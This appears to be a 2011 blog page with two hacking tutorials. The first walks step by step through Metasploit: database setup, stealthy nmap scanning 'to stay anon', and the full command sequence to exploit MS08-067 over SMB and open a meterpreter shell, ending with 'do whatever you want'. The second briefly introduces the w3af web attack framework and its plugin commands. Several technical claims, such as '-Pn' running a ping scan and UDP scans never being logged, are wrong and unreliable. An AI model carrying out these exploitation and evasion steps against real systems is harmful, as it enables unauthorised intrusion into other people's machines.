Using metasploit and its exploits

Welcome again to another ultra noob edition production. :) I know everyone likes colors but I am indeed just going to be very straightforward since I'm in happy land right now.

NOTE: I am not responsible for anything you do with this information. It is for educational purposes only.

First off we are going to set up metasploit with postgresql. (which I use... but you can also use sqlite3 or mysql) These Structured Query Language (SQL) databases are going to be what hold the information of a target after scans and such.

For those of you using windows, you can go here.

Click Me!

For this instalment of ultra noob edition i will be using blackbuntu. You can download blackbuntu here!

To download backtrack you can go here!

So once you have postgresql and its deamon running you need to run the following commands to create a user and password for your metasploit database.

In blackbuntu and backtrack 5 you will use the commands

Code:

service postgresql start

In backtrack 4r2 and below use;

Code:

/etc/init.d/postgresql-8.3 start

Note: you might have postgresql-8.4 as i do... so replace the 3 with a 4.

Code:

sudo su postgres -c psql
  ALTER USER postgres WITH PASSWORD 'your password';

  \q

  sudo passwd -d postgres
  sudo su postgres -c passwd

Note: if using backtrack ignore the sudo commands as you are already root.

What this does is set up a user postgres with whatever password you choose.

Now to create/connect to the postgresql database in metasploit you need to use the commands. Once inside metasploit.

Code:

db_connect postgres:yourpassword@127.0.0.1/msf3

This will create a postgresql database called msf3 if you haven't already. If you have it will just connect to it. (As shown in mine)
This is where the show really gets going.
Now you have two options... you can scan your network using outside tools to find the ip addresses or use an nmap ping scan.

To use a ping scan with nmap you would use nmap from the db_nmap command because it automatically adds hosts in the network to your new postgresql database.

Code:

db_nmap -Pn -v 192.168.1.1-255

Now the -Pn argument tells nmap to run a ping scan on port 80 to decide what hosts are up and will add them to your database, while the -v command tells nmap to run in verbose mode giving you more detailed feedback while the scan is running.
Now after you have a list of live hosts you can run nmap in a new mode.

Code:

db_nmap -sS -sV -sU -n -O -v 192.168.1.4

NOTE: VERY IMPORTANT. RUNNING THE -sS COMMAND VS THE -sT COMMAND.
THE -sT COMMAND COMPLETES A FULL TCP CONNECTION WHICH GETS LOGGED BY THE REMOTE HOST. TO PREVENT THIS RUNNING A STEALTH SYN SCAN WITH THE -sS COMMAND IS THE BEST OPTION. I HAVE STATED THIS IN OTHER TUTS ABOUT NMAP BUT TO STAY ANON YOU NEED TO DO THIS.

Now i run the ip 192.168.1.4 because that is what is currently on my network.
The -sS command runs a stealth syn scan which does not create a full tcp connection and allows you to continue unlogged. The -sV scan will tell you what services are running on a certain port which will come into play when selecting an exploit to use.
The -sU command runs a udp port scan against the target, and since there is no reply from udp packets they never get logged in the first place. The -O scan runs an OS scan against the target using tcp fingerprinting to tell you the operating system of the target machine, this will also come to play when selecting an exploit. The -n command tells nmap to not run a -Pn or ping scan agianst the target as they get logged, and since you have already done that once you wouldn't want to do it again.
And again the -v command runs nmap in verbose mode which allows you to see more of whats going on in the behind the scenes and helps you better understand what is happening.

Now once you have a list of open ports you can begin to choose your exploit based on port and operating system. For this exercise I chose the windows/smb/ms08_067_netapi exploit.

Now since port 445 is open I will attempt to run the ms08_067_netapi exploit against the target. So with metasploit open we will run

Code:

use windows/smb/ms08_067_netapi
set payload windows/bind_tcp
set rhost 192.168.1.4
set lhost 192.168.1.3
set lport 5150
check

NOTE:Run the show options command to display what information is required for the exploit to work properly.



Now these commands in metasploit will first set the exploit to use as the windows/smb/ms08_067_netapi exploit.
The second sets metasploit to use a bind shell using tcp protocal.



The third sets the remote host to our target ip. The fourth sets the localhost to our ip, and the local port the one we want to listen on.
Running the check command will tell us if the target is vulnerable or not.

And as you can see it is. So now we will run the exploit command

Code:

exploit

From there meterpreter will open. You can go here for all the meterpreter commands.



Now your in.... All you need to do is to do whatever you want. LOL
This Has been another ultra noob edition tutorial.

References

http://www.backtrack-linux.org/forums/ba...resql.html

http://hackforums.net/showthread.php?tid=970352

If I missed a ref or something let me know. I will fix it immediatly.

P.S. Will be adding things and command explanations as necissary just P.M. me for any help or explanations.

Also would very much appreciate feedback on what I could improve within the tut and whether or not it was enjoyed/helpful.




P.S.S. Am still making the cracking WPA with aircrack tutorial.... pretty much was just too lazy to do it recently as i am going to be a father... :)

---

Really? no feedback or anything about this post? Thats disapointing.. if i cant get more then a single thank you i might as well stop making tuts

Read more

by Malik korrich ~ jeudi 29 septembre 2011 0 commentaires

Web Application Attack and Audit Framework (W3AF)- Tutorial

Security is key point for every effective business, either you are running your own website or you are at job to manage the web application for your company you have to do little penetration testing to check the security of web application.
Now a days exploit are available and update on daily basis for different web application services.

While doing a penetration testing a pen tester must consider these exploit for different vulnerabilities.
To find a vulnerabilities is not enough a pen-tester must check the parallel exploits that are available publicly for different services.


w3af is a Web Application Attack and Audit Framework. The project goal is to create a framework to find and exploit web application vulnerabilities that is easy to use and extend. w3af is working for Become the best Open Source Web Application Exploitation Framework. It provides information about security vulnerabilities and aids in penetration testing efforts.

The important fact of w3af is that it is available for all major operating system like Microsoft Windows, Linux, MAC OS, FreeBSD and OpenBSD etc. It is written in python programming language and provide both command line interface and graphical user interface.

W3af_15

W3af uses more than 130 plug-in to find vulnerabilities in web applications, after finding vulnerabilities like SQL injections, OS commanding, remote file inclusions (PHP), cross-site scripting (XSS), and unsafe file uploads, can be exploited in order to gain different types of access to the remote system.

Download
Tutorial
Once you have all the prerequisites then you can start w3af as follows:
$ ./w3af
w3af>>>

Type help will give you a list of options.


w3af>>> help
The following commands are available:

help                  You are here. help [command] prints more specific help.
url-settings       Configure the URL opener.
misc-settings    Configure w3af misc settings.
session             Load and save sessions.
plugins             Enable, disable and configure plugins.
start                 Start site analysis.
exploit              Exploit a vulnerability.
tools                 Enter the tools section.
target               Set the target URL.
exit                   Exit w3af.

w3af>>>
Now see this example:

w3af/plugins>>> audit xss
w3af/plugins>>> audit
Enabled audit plugins:
xss
w3af/plugins>>> discovery webSpider,pykto,hmap
w3af/plugins>>> discovery
Enabled discovery plugins:
webSpider
pykto
w3af/plugins>>> output console,htmlFile
w3af/plugins>>> output
Enabled output plugins:
htmlFile
console
w3af/plugins>>> output config htmlFile
w3af/plugin/htmlFile>>> view

Read more

by Malik korrich ~ mercredi 28 septembre 2011 0 commentaires